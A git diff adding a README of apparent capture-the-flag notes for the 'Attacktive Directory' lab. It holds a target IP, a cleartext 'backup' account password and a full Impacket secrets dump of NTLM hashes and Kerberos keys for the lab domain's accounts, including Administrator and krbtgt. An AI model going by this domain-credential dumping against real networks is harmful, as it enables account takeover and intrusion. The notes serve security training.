diff options
Diffstat (limited to 'attackiveDirectory/README.md')
| -rw-r--r-- | attackiveDirectory/README.md | 87 |
1 files changed, 87 insertions, 0 deletions
diff --git a/attackiveDirectory/README.md b/attackiveDirectory/README.md new file mode 100644 index 0000000..e99b1d7 --- /dev/null +++ b/attackiveDirectory/README.md @@ -0,0 +1,87 @@ +```bash +export IP='10.10.86.193' +``` + +``` +backup@spookysec.local:backup2517860 +``` + +``` +Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation + +Password: +[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied +[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) +[*] Using the DRSUAPI method to get NTDS.DIT secrets +Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21::: +spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4::: +spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4::: +spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b::: +spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e::: +spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b::: +spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7::: +spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a::: +spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb::: +spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2::: +spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705::: +spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664::: +spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809::: +spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538::: +spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc::: +ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:66b57fa8a609e28ee3ac3f97fc9e5b0e::: +[*] Kerberos keys grabbed +Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48 +Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae +Administrator:des-cbc-md5:2079ce0e5df189ad +krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc +krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902 +krbtgt:des-cbc-md5:b94f97e97fabbf5d +spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04 +spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233 +spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f +spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5 +spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425 +spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064 +spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d0184b5acbd563c63c102da389112 +spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6 +spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9 +spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e16327f9a3ddfe +spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510 +spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054 +spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659bafb8f384cdecd +spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e +spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594 +spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d406cb218b2a57b70063c9fa7050499 +spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be +spookysec.local\darkstar:des-cbc-md5:758af4d061381cea +spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6acfb88bc2bf2e54e94667067 +spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e +spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a +spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89e310d7a6574f4635ff64b40a3 +spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8 +spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64 +spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d13fba827081afa7ae2225a5eb9a0 +spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8 +spookysec.local\paradox:des-cbc-md5:83988983f8b34019 +spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a80382f1bab51247b95b58b370347 +spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa +spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86 +spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f26481b6838b3efa6a171ae84dd11c166 +spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c +spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157 +spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e68f8d29647911df20b626d82863518 +spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff +spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d +spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0efd74d61fda15d104829412922 +spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197 +spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89 +spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f40cda656f38c93477fb4f6bd1242 +spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68 +spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9 +ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:61b0446e0f1526cde51e06fd858d8684daa452b4f2755e038ed355ba7a2e2bc7 +ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:8925cb445b363a3b92d41e29134a5906 +ATTACKTIVEDIREC$:des-cbc-md5:31a7d9f47af7b319 +[*] Cleaning up... +``` |